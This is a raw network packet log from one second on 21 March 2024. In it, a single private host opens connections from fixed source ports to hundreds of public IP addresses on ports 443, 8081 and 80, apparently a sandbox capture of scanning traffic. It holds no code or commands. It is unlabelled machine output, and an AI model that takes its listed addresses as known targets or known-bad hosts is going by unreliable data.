Mar 21, 2024 05:16:56.489790916 CET	443	43602	42.137.190.129	192.168.2.13
Mar 21, 2024 05:16:56.489798069 CET	443	43602	37.160.124.190	192.168.2.13
Mar 21, 2024 05:16:56.489798069 CET	443	43602	118.206.21.166	192.168.2.13
Mar 21, 2024 05:16:56.489803076 CET	44882	8081	192.168.2.13	2.127.142.137
Mar 21, 2024 05:16:56.489808083 CET	44882	8081	192.168.2.13	61.56.75.35
Mar 21, 2024 05:16:56.489809036 CET	44882	8081	192.168.2.13	78.131.132.155
Mar 21, 2024 05:16:56.489809990 CET	43602	443	192.168.2.13	109.36.243.86
Mar 21, 2024 05:16:56.489814043 CET	43602	443	192.168.2.13	210.27.217.158
Mar 21, 2024 05:16:56.489814997 CET	43602	443	192.168.2.13	5.224.77.120
Mar 21, 2024 05:16:56.489814997 CET	43602	443	192.168.2.13	79.91.247.83
Mar 21, 2024 05:16:56.489815950 CET	44882	8081	192.168.2.13	125.33.95.249
Mar 21, 2024 05:16:56.489818096 CET	43602	443	192.168.2.13	210.6.133.231
Mar 21, 2024 05:16:56.489820004 CET	443	43602	210.27.217.158	192.168.2.13
Mar 21, 2024 05:16:56.489825010 CET	443	43602	210.6.133.231	192.168.2.13
Mar 21, 2024 05:16:56.489828110 CET	43602	443	192.168.2.13	118.80.139.65
Mar 21, 2024 05:16:56.489828110 CET	43602	443	192.168.2.13	37.160.124.190
Mar 21, 2024 05:16:56.489829063 CET	43602	443	192.168.2.13	178.201.78.194
Mar 21, 2024 05:16:56.489829063 CET	43602	443	192.168.2.13	94.229.207.64
Mar 21, 2024 05:16:56.489831924 CET	43602	443	192.168.2.13	79.98.246.110
Mar 21, 2024 05:16:56.489834070 CET	43602	443	192.168.2.13	118.189.151.82
Mar 21, 2024 05:16:56.489834070 CET	43602	443	192.168.2.13	94.58.166.236
Mar 21, 2024 05:16:56.489834070 CET	43602	443	192.168.2.13	118.73.120.45
Mar 21, 2024 05:16:56.489835978 CET	43602	443	192.168.2.13	42.137.190.129
Mar 21, 2024 05:16:56.489835978 CET	44882	8081	192.168.2.13	97.150.252.234
Mar 21, 2024 05:16:56.489836931 CET	443	43602	118.80.139.65	192.168.2.13
Mar 21, 2024 05:16:56.489841938 CET	443	43602	94.58.166.236	192.168.2.13
Mar 21, 2024 05:16:56.489844084 CET	443	43602	178.201.78.194	192.168.2.13
Mar 21, 2024 05:16:56.489845037 CET	44882	8081	192.168.2.13	209.0.183.87
Mar 21, 2024 05:16:56.489845037 CET	43602	443	192.168.2.13	42.15.247.240
Mar 21, 2024 05:16:56.489845991 CET	443	43602	79.98.246.110	192.168.2.13
Mar 21, 2024 05:16:56.489846945 CET	44882	8081	192.168.2.13	45.201.235.155
Mar 21, 2024 05:16:56.489846945 CET	44882	8081	192.168.2.13	123.240.234.153
Mar 21, 2024 05:16:56.489850998 CET	43602	443	192.168.2.13	42.171.217.134
Mar 21, 2024 05:16:56.489851952 CET	43602	443	192.168.2.13	210.27.217.158
Mar 21, 2024 05:16:56.489850998 CET	44882	8081	192.168.2.13	135.68.67.100
Mar 21, 2024 05:16:56.489851952 CET	43602	443	192.168.2.13	118.206.21.166
Mar 21, 2024 05:16:56.489851952 CET	43602	443	192.168.2.13	210.6.133.231
Mar 21, 2024 05:16:56.489864111 CET	44882	8081	192.168.2.13	186.27.235.135
Mar 21, 2024 05:16:56.489870071 CET	43602	443	192.168.2.13	118.254.136.138
Mar 21, 2024 05:16:56.489871979 CET	43602	443	192.168.2.13	118.80.139.65
Mar 21, 2024 05:16:56.489876986 CET	443	43602	118.254.136.138	192.168.2.13
Mar 21, 2024 05:16:56.489881039 CET	43602	443	192.168.2.13	94.58.166.236
Mar 21, 2024 05:16:56.489885092 CET	43602	443	192.168.2.13	2.206.50.42
Mar 21, 2024 05:16:56.489886999 CET	43602	443	192.168.2.13	178.143.145.165
Mar 21, 2024 05:16:56.489886999 CET	43602	443	192.168.2.13	178.201.78.194
Mar 21, 2024 05:16:56.489892006 CET	443	43602	2.206.50.42	192.168.2.13
Mar 21, 2024 05:16:56.489895105 CET	443	43602	178.143.145.165	192.168.2.13
Mar 21, 2024 05:16:56.489902973 CET	44882	8081	192.168.2.13	167.54.50.186
Mar 21, 2024 05:16:56.489903927 CET	44882	8081	192.168.2.13	123.41.207.212
Mar 21, 2024 05:16:56.489905119 CET	44882	8081	192.168.2.13	146.54.210.238
Mar 21, 2024 05:16:56.489903927 CET	43602	443	192.168.2.13	42.225.161.147
Mar 21, 2024 05:16:56.489906073 CET	43602	443	192.168.2.13	94.188.211.15
Mar 21, 2024 05:16:56.489906073 CET	43602	443	192.168.2.13	79.98.246.110
Mar 21, 2024 05:16:56.489916086 CET	443	43602	94.188.211.15	192.168.2.13
Mar 21, 2024 05:16:56.489917040 CET	43602	443	192.168.2.13	37.128.14.116
Mar 21, 2024 05:16:56.489917040 CET	43602	443	192.168.2.13	212.164.92.197
Mar 21, 2024 05:16:56.489917994 CET	44882	8081	192.168.2.13	61.2.232.224
Mar 21, 2024 05:16:56.489917994 CET	43602	443	192.168.2.13	210.122.78.154
Mar 21, 2024 05:16:56.489918947 CET	43602	443	192.168.2.13	178.165.147.112
Mar 21, 2024 05:16:56.489917994 CET	43602	443	192.168.2.13	2.207.225.244
Mar 21, 2024 05:16:56.489918947 CET	44882	8081	192.168.2.13	34.230.36.175
Mar 21, 2024 05:16:56.489918947 CET	443	43602	42.225.161.147	192.168.2.13
Mar 21, 2024 05:16:56.489923000 CET	43602	443	192.168.2.13	2.21.23.218
Mar 21, 2024 05:16:56.489924908 CET	443	43602	37.128.14.116	192.168.2.13
Mar 21, 2024 05:16:56.489928007 CET	43602	443	192.168.2.13	118.224.238.249
Mar 21, 2024 05:16:56.489928007 CET	44882	8081	192.168.2.13	209.95.8.221
Mar 21, 2024 05:16:56.489928007 CET	44882	8081	192.168.2.13	83.73.128.155
Mar 21, 2024 05:16:56.489928961 CET	44882	8081	192.168.2.13	160.92.95.28
Mar 21, 2024 05:16:56.489929914 CET	443	43602	2.21.23.218	192.168.2.13
Mar 21, 2024 05:16:56.489936113 CET	443	43602	178.165.147.112	192.168.2.13
Mar 21, 2024 05:16:56.489937067 CET	43602	443	192.168.2.13	5.44.17.98
Mar 21, 2024 05:16:56.489938021 CET	443	43602	212.164.92.197	192.168.2.13
Mar 21, 2024 05:16:56.489939928 CET	443	43602	210.122.78.154	192.168.2.13
Mar 21, 2024 05:16:56.489938974 CET	43602	443	192.168.2.13	210.174.54.179
Mar 21, 2024 05:16:56.489938974 CET	43602	443	192.168.2.13	5.135.51.13
Mar 21, 2024 05:16:56.489942074 CET	44882	8081	192.168.2.13	129.209.190.98
Mar 21, 2024 05:16:56.489939928 CET	43602	443	192.168.2.13	212.124.208.243
Mar 21, 2024 05:16:56.489939928 CET	43602	443	192.168.2.13	212.125.226.31
Mar 21, 2024 05:16:56.489939928 CET	43602	443	192.168.2.13	37.200.206.43
Mar 21, 2024 05:16:56.489944935 CET	443	43602	5.44.17.98	192.168.2.13
Mar 21, 2024 05:16:56.489943981 CET	443	43602	118.224.238.249	192.168.2.13
Mar 21, 2024 05:16:56.489939928 CET	43602	443	192.168.2.13	109.186.90.144
Mar 21, 2024 05:16:56.489939928 CET	43602	443	192.168.2.13	118.254.136.138
Mar 21, 2024 05:16:56.489949942 CET	443	43602	2.207.225.244	192.168.2.13
Mar 21, 2024 05:16:56.489950895 CET	443	43602	212.124.208.243	192.168.2.13
Mar 21, 2024 05:16:56.489952087 CET	43602	443	192.168.2.13	94.188.211.15
Mar 21, 2024 05:16:56.489952087 CET	43602	443	192.168.2.13	2.21.23.218
Mar 21, 2024 05:16:56.489954948 CET	44882	8081	192.168.2.13	46.80.115.203
Mar 21, 2024 05:16:56.489954948 CET	43602	443	192.168.2.13	2.206.50.42
Mar 21, 2024 05:16:56.489955902 CET	443	43602	37.200.206.43	192.168.2.13
Mar 21, 2024 05:16:56.489957094 CET	443	43602	210.174.54.179	192.168.2.13
Mar 21, 2024 05:16:56.489958048 CET	44114	80	192.168.2.13	199.99.61.73
Mar 21, 2024 05:16:56.489958048 CET	44882	8081	192.168.2.13	48.44.198.208
Mar 21, 2024 05:16:56.489958048 CET	44882	8081	192.168.2.13	206.122.188.202
Mar 21, 2024 05:16:56.489958048 CET	44114	80	192.168.2.13	27.30.239.215
Mar 21, 2024 05:16:56.489960909 CET	43602	443	192.168.2.13	37.128.14.116
Mar 21, 2024 05:16:56.489960909 CET	43602	443	192.168.2.13	178.143.145.165
Mar 21, 2024 05:16:56.489960909 CET	43602	443	192.168.2.13	178.165.147.112
Mar 21, 2024 05:16:56.489967108 CET	443	43602	5.135.51.13	192.168.2.13
Mar 21, 2024 05:16:56.489967108 CET	44114	80	192.168.2.13	179.188.9.186
Mar 21, 2024 05:16:56.489968061 CET	43602	443	192.168.2.13	118.224.238.249
Mar 21, 2024 05:16:56.489967108 CET	43602	443	192.168.2.13	42.225.161.147
Mar 21, 2024 05:16:56.489972115 CET	443	43602	212.125.226.31	192.168.2.13
Mar 21, 2024 05:16:56.489980936 CET	43602	443	192.168.2.13	210.122.78.154
Mar 21, 2024 05:16:56.489980936 CET	43602	443	192.168.2.13	2.207.225.244
Mar 21, 2024 05:16:56.489983082 CET	443	43602	109.186.90.144	192.168.2.13
Mar 21, 2024 05:16:56.489989042 CET	43602	443	192.168.2.13	5.44.17.98
Mar 21, 2024 05:16:56.489989042 CET	44114	80	192.168.2.13	104.219.40.173
Mar 21, 2024 05:16:56.489989996 CET	43602	443	192.168.2.13	212.164.92.197
Mar 21, 2024 05:16:56.489989996 CET	43602	443	192.168.2.13	212.124.208.243
Mar 21, 2024 05:16:56.489991903 CET	44114	80	192.168.2.13	186.94.110.188
Mar 21, 2024 05:16:56.489995003 CET	44114	80	192.168.2.13	203.37.49.171
Mar 21, 2024 05:16:56.489995003 CET	44114	80	192.168.2.13	142.96.96.11
Mar 21, 2024 05:16:56.489995003 CET	43602	443	192.168.2.13	210.174.54.179
Mar 21, 2024 05:16:56.489995003 CET	43602	443	192.168.2.13	5.135.51.13
Mar 21, 2024 05:16:56.490000010 CET	43602	443	192.168.2.13	37.200.206.43
Mar 21, 2024 05:16:56.490000010 CET	44114	80	192.168.2.13	191.186.200.82
Mar 21, 2024 05:16:56.490004063 CET	44114	80	192.168.2.13	136.62.21.136
Mar 21, 2024 05:16:56.490004063 CET	44114	80	192.168.2.13	104.194.67.1
Mar 21, 2024 05:16:56.490009069 CET	44114	80	192.168.2.13	9.165.52.239
Mar 21, 2024 05:16:56.490010977 CET	44114	80	192.168.2.13	66.117.110.94
Mar 21, 2024 05:16:56.490015984 CET	44114	80	192.168.2.13	197.228.82.255
Mar 21, 2024 05:16:56.490022898 CET	43602	443	192.168.2.13	212.125.226.31
Mar 21, 2024 05:16:56.490022898 CET	43602	443	192.168.2.13	109.186.90.144
Mar 21, 2024 05:16:56.490025997 CET	44114	80	192.168.2.13	197.41.187.249
Mar 21, 2024 05:16:56.490025997 CET	44114	80	192.168.2.13	200.131.171.68
Mar 21, 2024 05:16:56.490032911 CET	44114	80	192.168.2.13	139.139.190.185
Mar 21, 2024 05:16:56.490039110 CET	44114	80	192.168.2.13	64.114.238.241
Mar 21, 2024 05:16:56.490056992 CET	44114	80	192.168.2.13	171.253.211.88
Mar 21, 2024 05:16:56.490057945 CET	44114	80	192.168.2.13	212.100.84.43
Mar 21, 2024 05:16:56.490061045 CET	44114	80	192.168.2.13	184.172.164.108
Mar 21, 2024 05:16:56.490072012 CET	44114	80	192.168.2.13	217.66.131.30
Mar 21, 2024 05:16:56.490077019 CET	44114	80	192.168.2.13	191.156.112.67
Mar 21, 2024 05:16:56.490081072 CET	44114	80	192.168.2.13	78.13.49.131
Mar 21, 2024 05:16:56.490086079 CET	44114	80	192.168.2.13	219.42.208.155
Mar 21, 2024 05:16:56.490093946 CET	44114	80	192.168.2.13	216.253.243.17
Mar 21, 2024 05:16:56.490103006 CET	44114	80	192.168.2.13	117.133.218.155
Mar 21, 2024 05:16:56.490108967 CET	44114	80	192.168.2.13	172.182.12.67
Mar 21, 2024 05:16:56.490120888 CET	44114	80	192.168.2.13	222.78.200.200
Mar 21, 2024 05:16:56.490125895 CET	44114	80	192.168.2.13	217.24.155.211
Mar 21, 2024 05:16:56.490128040 CET	44114	80	192.168.2.13	140.131.130.163
Mar 21, 2024 05:16:56.490149021 CET	43602	443	192.168.2.13	5.69.80.237
Mar 21, 2024 05:16:56.490149975 CET	43602	443	192.168.2.13	212.37.187.222
Mar 21, 2024 05:16:56.490149975 CET	43602	443	192.168.2.13	210.88.177.55
Mar 21, 2024 05:16:56.490150928 CET	43602	443	192.168.2.13	94.158.95.10
Mar 21, 2024 05:16:56.490154028 CET	43602	443	192.168.2.13	210.253.119.175
Mar 21, 2024 05:16:56.490154028 CET	443	43602	5.69.80.237	192.168.2.13
Mar 21, 2024 05:16:56.490158081 CET	443	43602	94.158.95.10	192.168.2.13
Mar 21, 2024 05:16:56.490159035 CET	443	43602	212.37.187.222	192.168.2.13
Mar 21, 2024 05:16:56.490163088 CET	443	43602	210.253.119.175	192.168.2.13
Mar 21, 2024 05:16:56.490168095 CET	43602	443	192.168.2.13	109.104.42.117
Mar 21, 2024 05:16:56.490168095 CET	43602	443	192.168.2.13	2.128.162.159
Mar 21, 2024 05:16:56.490170956 CET	443	43602	210.88.177.55	192.168.2.13
Mar 21, 2024 05:16:56.490175009 CET	443	43602	109.104.42.117	192.168.2.13
Mar 21, 2024 05:16:56.490175009 CET	43602	443	192.168.2.13	79.76.85.162
Mar 21, 2024 05:16:56.490180969 CET	443	43602	79.76.85.162	192.168.2.13
Mar 21, 2024 05:16:56.490181923 CET	43602	443	192.168.2.13	212.71.0.25
Mar 21, 2024 05:16:56.490181923 CET	443	43602	2.128.162.159	192.168.2.13
Mar 21, 2024 05:16:56.490181923 CET	43602	443	192.168.2.13	94.240.169.205
Mar 21, 2024 05:16:56.490187883 CET	43602	443	192.168.2.13	212.37.187.222
Mar 21, 2024 05:16:56.490190029 CET	443	43602	212.71.0.25	192.168.2.13
Mar 21, 2024 05:16:56.490190983 CET	43602	443	192.168.2.13	79.104.52.139
Mar 21, 2024 05:16:56.490196943 CET	443	43602	79.104.52.139	192.168.2.13
Mar 21, 2024 05:16:56.490197897 CET	443	43602	94.240.169.205	192.168.2.13
Mar 21, 2024 05:16:56.490206003 CET	43602	443	192.168.2.13	210.253.119.175
Mar 21, 2024 05:16:56.490206957 CET	43602	443	192.168.2.13	5.69.80.237
Mar 21, 2024 05:16:56.490207911 CET	43602	443	192.168.2.13	79.76.85.162
Mar 21, 2024 05:16:56.490209103 CET	43602	443	192.168.2.13	94.158.95.10
Mar 21, 2024 05:16:56.490207911 CET	43602	443	192.168.2.13	210.88.177.55
Mar 21, 2024 05:16:56.490231037 CET	43602	443	192.168.2.13	109.104.42.117
Mar 21, 2024 05:16:56.490231037 CET	43602	443	192.168.2.13	2.128.162.159
Mar 21, 2024 05:16:56.490231037 CET	43602	443	192.168.2.13	79.104.52.139
Mar 21, 2024 05:16:56.490233898 CET	43602	443	192.168.2.13	212.71.0.25
Mar 21, 2024 05:16:56.490233898 CET	43602	443	192.168.2.13	94.240.169.205
Mar 21, 2024 05:16:56.490256071 CET	44114	80	192.168.2.13	176.101.77.113
Mar 21, 2024 05:16:56.490256071 CET	44114	80	192.168.2.13	73.162.199.224
Mar 21, 2024 05:16:56.490267992 CET	44114	80	192.168.2.13	163.251.112.185
Mar 21, 2024 05:16:56.490272045 CET	44114	80	192.168.2.13	82.108.157.69
Mar 21, 2024 05:16:56.490272045 CET	44114	80	192.168.2.13	34.72.89.18
Mar 21, 2024 05:16:56.490274906 CET	44114	80	192.168.2.13	63.18.39.220
Mar 21, 2024 05:16:56.490277052 CET	44114	80	192.168.2.13	45.204.102.5
Mar 21, 2024 05:16:56.490283012 CET	44114	80	192.168.2.13	165.234.65.165
Mar 21, 2024 05:16:56.490287066 CET	44114	80	192.168.2.13	197.186.131.95
Mar 21, 2024 05:16:56.490293980 CET	44114	80	192.168.2.13	44.111.98.211
Mar 21, 2024 05:16:56.490309000 CET	44114	80	192.168.2.13	31.154.189.129
Mar 21, 2024 05:16:56.490313053 CET	44114	80	192.168.2.13	157.139.148.252
Mar 21, 2024 05:16:56.490314007 CET	44114	80	192.168.2.13	167.95.7.131
Mar 21, 2024 05:16:56.490323067 CET	44114	80	192.168.2.13	104.108.21.127
Mar 21, 2024 05:16:56.490326881 CET	44114	80	192.168.2.13	165.164.220.162
Mar 21, 2024 05:16:56.490335941 CET	44114	80	192.168.2.13	91.47.216.207
Mar 21, 2024 05:16:56.490343094 CET	44114	80	192.168.2.13	187.131.203.106
Mar 21, 2024 05:16:56.490343094 CET	44114	80	192.168.2.13	145.240.102.172
Mar 21, 2024 05:16:56.490356922 CET	44114	80	192.168.2.13	197.155.144.26
Mar 21, 2024 05:16:56.490362883 CET	44114	80	192.168.2.13	19.146.232.24
Mar 21, 2024 05:16:56.490369081 CET	44114	80	192.168.2.13	58.42.248.91
Mar 21, 2024 05:16:56.490516901 CET	44882	8081	192.168.2.13	4.114.80.132
Mar 21, 2024 05:16:56.490519047 CET	44882	8081	192.168.2.13	20.127.183.203
Mar 21, 2024 05:16:56.490530014 CET	44882	8081	192.168.2.13	1.122.205.183
Mar 21, 2024 05:16:56.490546942 CET	44882	8081	192.168.2.13	129.209.23.133
Mar 21, 2024 05:16:56.490546942 CET	44882	8081	192.168.2.13	125.222.13.59
Mar 21, 2024 05:16:56.490546942 CET	44882	8081	192.168.2.13	195.75.243.108
Mar 21, 2024 05:16:56.490556002 CET	44882	8081	192.168.2.13	118.172.125.118
Mar 21, 2024 05:16:56.490561008 CET	44882	8081	192.168.2.13	178.254.178.24
Mar 21, 2024 05:16:56.490570068 CET	44882	8081	192.168.2.13	74.245.226.126
Mar 21, 2024 05:16:56.490576982 CET	44882	8081	192.168.2.13	88.43.138.87
Mar 21, 2024 05:16:56.490578890 CET	44882	8081	192.168.2.13	144.134.12.44
Mar 21, 2024 05:16:56.490586042 CET	44882	8081	192.168.2.13	182.186.237.251
Mar 21, 2024 05:16:56.490590096 CET	44882	8081	192.168.2.13	51.186.15.4
Mar 21, 2024 05:16:56.490592957 CET	44882	8081	192.168.2.13	121.32.65.109
Mar 21, 2024 05:16:56.490612984 CET	44882	8081	192.168.2.13	139.1.64.164
Mar 21, 2024 05:16:56.490632057 CET	44882	8081	192.168.2.13	147.252.83.161
Mar 21, 2024 05:16:56.490636110 CET	44882	8081	192.168.2.13	64.133.4.40
Mar 21, 2024 05:16:56.490643978 CET	43602	443	192.168.2.13	79.135.205.127
Mar 21, 2024 05:16:56.490648985 CET	443	43602	79.135.205.127	192.168.2.13
Mar 21, 2024 05:16:56.490653992 CET	43602	443	192.168.2.13	37.247.90.128
Mar 21, 2024 05:16:56.490659952 CET	443	43602	37.247.90.128	192.168.2.13
Mar 21, 2024 05:16:56.490664959 CET	43602	443	192.168.2.13	178.83.205.189
Mar 21, 2024 05:16:56.490667105 CET	43602	443	192.168.2.13	210.65.223.76
Mar 21, 2024 05:16:56.490670919 CET	43602	443	192.168.2.13	178.1.128.137
Mar 21, 2024 05:16:56.490670919 CET	443	43602	178.83.205.189	192.168.2.13
Mar 21, 2024 05:16:56.490673065 CET	443	43602	210.65.223.76	192.168.2.13
Mar 21, 2024 05:16:56.490679026 CET	43602	443	192.168.2.13	79.135.205.127
Mar 21, 2024 05:16:56.490680933 CET	443	43602	178.1.128.137	192.168.2.13
Mar 21, 2024 05:16:56.490686893 CET	43602	443	192.168.2.13	37.247.90.128
Mar 21, 2024 05:16:56.490699053 CET	43602	443	192.168.2.13	37.2.54.95
Mar 21, 2024 05:16:56.490699053 CET	43602	443	192.168.2.13	210.65.223.76
Mar 21, 2024 05:16:56.490703106 CET	43602	443	192.168.2.13	178.83.205.189
Mar 21, 2024 05:16:56.490708113 CET	443	43602	37.2.54.95	192.168.2.13
Mar 21, 2024 05:16:56.490714073 CET	43602	443	192.168.2.13	178.1.128.137
Mar 21, 2024 05:16:56.490740061 CET	43602	443	192.168.2.13	118.254.84.251
Mar 21, 2024 05:16:56.490741968 CET	43602	443	192.168.2.13	2.199.142.126
Mar 21, 2024 05:16:56.490746021 CET	443	43602	118.254.84.251	192.168.2.13
Mar 21, 2024 05:16:56.490746975 CET	443	43602	2.199.142.126	192.168.2.13
Mar 21, 2024 05:16:56.490751028 CET	43602	443	192.168.2.13	37.2.54.95
Mar 21, 2024 05:16:56.490751982 CET	43602	443	192.168.2.13	118.50.213.136
Mar 21, 2024 05:16:56.490756035 CET	43602	443	192.168.2.13	118.57.11.46
Mar 21, 2024 05:16:56.490757942 CET	443	43602	118.50.213.136	192.168.2.13
Mar 21, 2024 05:16:56.490761995 CET	443	43602	118.57.11.46	192.168.2.13
Mar 21, 2024 05:16:56.490773916 CET	43602	443	192.168.2.13	210.138.195.118
Mar 21, 2024 05:16:56.490778923 CET	43602	443	192.168.2.13	2.199.142.126
Mar 21, 2024 05:16:56.490778923 CET	43602	443	192.168.2.13	2.124.110.129
Mar 21, 2024 05:16:56.490783930 CET	43602	443	192.168.2.13	118.254.84.251
Mar 21, 2024 05:16:56.490784883 CET	443	43602	210.138.195.118	192.168.2.13
Mar 21, 2024 05:16:56.490784883 CET	443	43602	2.124.110.129	192.168.2.13
Mar 21, 2024 05:16:56.490786076 CET	43602	443	192.168.2.13	118.57.11.46
Mar 21, 2024 05:16:56.490787983 CET	43602	443	192.168.2.13	118.50.213.136
Mar 21, 2024 05:16:56.490804911 CET	43602	443	192.168.2.13	210.19.252.117
Mar 21, 2024 05:16:56.490812063 CET	443	43602	210.19.252.117	192.168.2.13
Mar 21, 2024 05:16:56.490813017 CET	43602	443	192.168.2.13	94.3.8.132
Mar 21, 2024 05:16:56.490813017 CET	43602	443	192.168.2.13	2.124.110.129
Mar 21, 2024 05:16:56.490820885 CET	43602	443	192.168.2.13	42.232.117.128
Mar 21, 2024 05:16:56.490823030 CET	443	43602	94.3.8.132	192.168.2.13
Mar 21, 2024 05:16:56.490828037 CET	443	43602	42.232.117.128	192.168.2.13
Mar 21, 2024 05:16:56.490832090 CET	43602	443	192.168.2.13	210.138.195.118
Mar 21, 2024 05:16:56.490835905 CET	43602	443	192.168.2.13	210.19.252.117
Mar 21, 2024 05:16:56.490856886 CET	43602	443	192.168.2.13	42.232.117.128
Mar 21, 2024 05:16:56.490858078 CET	43602	443	192.168.2.13	94.3.8.132
Mar 21, 2024 05:16:56.490871906 CET	43602	443	192.168.2.13	2.143.204.54
Mar 21, 2024 05:16:56.490876913 CET	443	43602	2.143.204.54	192.168.2.13
Mar 21, 2024 05:16:56.490892887 CET	43602	443	192.168.2.13	42.112.168.148
Mar 21, 2024 05:16:56.490895033 CET	43602	443	192.168.2.13	178.249.88.204
Mar 21, 2024 05:16:56.490896940 CET	43602	443	192.168.2.13	37.143.14.31
Mar 21, 2024 05:16:56.490897894 CET	43602	443	192.168.2.13	37.58.20.123
Mar 21, 2024 05:16:56.490897894 CET	43602	443	192.168.2.13	109.112.102.119
Mar 21, 2024 05:16:56.490900040 CET	443	43602	42.112.168.148	192.168.2.13
Mar 21, 2024 05:16:56.490900040 CET	43602	443	192.168.2.13	210.231.50.92
Mar 21, 2024 05:16:56.490900993 CET	443	43602	178.249.88.204	192.168.2.13
Mar 21, 2024 05:16:56.490906000 CET	43602	443	192.168.2.13	2.143.204.54
Mar 21, 2024 05:16:56.490906954 CET	443	43602	210.231.50.92	192.168.2.13
Mar 21, 2024 05:16:56.490911961 CET	443	43602	37.143.14.31	192.168.2.13
Mar 21, 2024 05:16:56.490916967 CET	443	43602	37.58.20.123	192.168.2.13
Mar 21, 2024 05:16:56.490926981 CET	43602	443	192.168.2.13	94.227.60.99
Mar 21, 2024 05:16:56.490926981 CET	43602	443	192.168.2.13	42.112.168.148
Mar 21, 2024 05:16:56.490926981 CET	443	43602	109.112.102.119	192.168.2.13
Mar 21, 2024 05:16:56.490937948 CET	43602	443	192.168.2.13	79.38.68.154
Mar 21, 2024 05:16:56.490938902 CET	443	43602	94.227.60.99	192.168.2.13
Mar 21, 2024 05:16:56.490940094 CET	43602	443	192.168.2.13	178.249.88.204
Mar 21, 2024 05:16:56.490942001 CET	43602	443	192.168.2.13	210.231.50.92
Mar 21, 2024 05:16:56.490947962 CET	443	43602	79.38.68.154	192.168.2.13
Mar 21, 2024 05:16:56.490953922 CET	43602	443	192.168.2.13	37.143.14.31
Mar 21, 2024 05:16:56.490953922 CET	43602	443	192.168.2.13	37.58.20.123
Mar 21, 2024 05:16:56.490964890 CET	43602	443	192.168.2.13	109.112.102.119
Mar 21, 2024 05:16:56.490984917 CET	43602	443	192.168.2.13	79.38.68.154
Mar 21, 2024 05:16:56.490984917 CET	43602	443	192.168.2.13	79.171.28.182
Mar 21, 2024 05:16:56.490988016 CET	43602	443	192.168.2.13	94.227.60.99
Mar 21, 2024 05:16:56.490987062 CET	43602	443	192.168.2.13	212.28.89.61
Mar 21, 2024 05:16:56.490988016 CET	43602	443	192.168.2.13	212.18.134.92
Mar 21, 2024 05:16:56.490997076 CET	443	43602	79.171.28.182	192.168.2.13
Mar 21, 2024 05:16:56.490998030 CET	443	43602	212.28.89.61	192.168.2.13
Mar 21, 2024 05:16:56.490998030 CET	443	43602	212.18.134.92	192.168.2.13
Mar 21, 2024 05:16:56.490998983 CET	43602	443	192.168.2.13	94.156.5.124
Mar 21, 2024 05:16:56.491003036 CET	43602	443	192.168.2.13	212.212.57.250
Mar 21, 2024 05:16:56.491007090 CET	44882	8081	192.168.2.13	163.18.54.106
Mar 21, 2024 05:16:56.491008043 CET	443	43602	94.156.5.124	192.168.2.13
Mar 21, 2024 05:16:56.491008043 CET	443	43602	212.212.57.250	192.168.2.13
Mar 21, 2024 05:16:56.491023064 CET	44882	8081	192.168.2.13	122.114.213.22
Mar 21, 2024 05:16:56.491025925 CET	43602	443	192.168.2.13	94.115.171.154
Mar 21, 2024 05:16:56.491029024 CET	43602	443	192.168.2.13	118.45.68.122
Mar 21, 2024 05:16:56.491030931 CET	443	43602	94.115.171.154	192.168.2.13
Mar 21, 2024 05:16:56.491031885 CET	43602	443	192.168.2.13	42.120.131.65
Mar 21, 2024 05:16:56.491031885 CET	44882	8081	192.168.2.13	5.159.22.155
Mar 21, 2024 05:16:56.491034031 CET	44882	8081	192.168.2.13	161.123.12.170
Mar 21, 2024 05:16:56.491034985 CET	443	43602	118.45.68.122	192.168.2.13
Mar 21, 2024 05:16:56.491034985 CET	44882	8081	192.168.2.13	5.117.141.237
Mar 21, 2024 05:16:56.491034985 CET	44882	8081	192.168.2.13	170.56.231.143
Mar 21, 2024 05:16:56.491038084 CET	44882	8081	192.168.2.13	118.204.130.104
Mar 21, 2024 05:16:56.491043091 CET	443	43602	42.120.131.65	192.168.2.13
Mar 21, 2024 05:16:56.491048098 CET	43602	443	192.168.2.13	212.212.57.250
Mar 21, 2024 05:16:56.491049051 CET	44882	8081	192.168.2.13	130.172.119.203
Mar 21, 2024 05:16:56.491055012 CET	43602	443	192.168.2.13	109.240.240.17
Mar 21, 2024 05:16:56.491055965 CET	44882	8081	192.168.2.13	189.80.8.40
Mar 21, 2024 05:16:56.491055965 CET	43602	443	192.168.2.13	212.28.89.61
Mar 21, 2024 05:16:56.491058111 CET	43602	443	192.168.2.13	79.171.28.182
Mar 21, 2024 05:16:56.491059065 CET	43602	443	192.168.2.13	212.18.134.92
Mar 21, 2024 05:16:56.491060019 CET	443	43602	109.240.240.17	192.168.2.13
Mar 21, 2024 05:16:56.491060019 CET	43602	443	192.168.2.13	94.156.5.124
Mar 21, 2024 05:16:56.491060019 CET	43602	443	192.168.2.13	94.115.171.154
Mar 21, 2024 05:16:56.491064072 CET	43602	443	192.168.2.13	118.45.68.122
Mar 21, 2024 05:16:56.491077900 CET	44882	8081	192.168.2.13	181.254.57.254
Mar 21, 2024 05:16:56.491077900 CET	44882	8081	192.168.2.13	4.109.151.90
Mar 21, 2024 05:16:56.491080046 CET	43602	443	192.168.2.13	42.120.131.65
Mar 21, 2024 05:16:56.491084099 CET	44882	8081	192.168.2.13	114.54.84.216
Mar 21, 2024 05:16:56.491092920 CET	43602	443	192.168.2.13	109.240.240.17
Mar 21, 2024 05:16:56.491101027 CET	44882	8081	192.168.2.13	75.41.176.237
Mar 21, 2024 05:16:56.491101027 CET	44882	8081	192.168.2.13	119.190.182.182
Mar 21, 2024 05:16:56.491101980 CET	44882	8081	192.168.2.13	32.47.39.32
Mar 21, 2024 05:16:56.491166115 CET	44882	8081	192.168.2.13	5.106.16.60
Mar 21, 2024 05:16:56.491170883 CET	44882	8081	192.168.2.13	114.75.146.25
Mar 21, 2024 05:16:56.491179943 CET	44882	8081	192.168.2.13	116.112.82.150
Mar 21, 2024 05:16:56.491183996 CET	44882	8081	192.168.2.13	35.156.152.180
Mar 21, 2024 05:16:56.491193056 CET	44882	8081	192.168.2.13	34.192.45.8
Mar 21, 2024 05:16:56.491204023 CET	44882	8081	192.168.2.13	190.49.106.188
Mar 21, 2024 05:16:56.491204977 CET	44882	8081	192.168.2.13	189.85.213.24
Mar 21, 2024 05:16:56.491204023 CET	44882	8081	192.168.2.13	211.144.167.178
Mar 21, 2024 05:16:56.491218090 CET	44882	8081	192.168.2.13	12.16.204.39
Mar 21, 2024 05:16:56.491218090 CET	44882	8081	192.168.2.13	179.40.46.22
Mar 21, 2024 05:16:56.491223097 CET	43602	443	192.168.2.13	178.249.238.12
Mar 21, 2024 05:16:56.491230011 CET	443	43602	178.249.238.12	192.168.2.13
Mar 21, 2024 05:16:56.491230011 CET	44882	8081	192.168.2.13	74.66.63.98
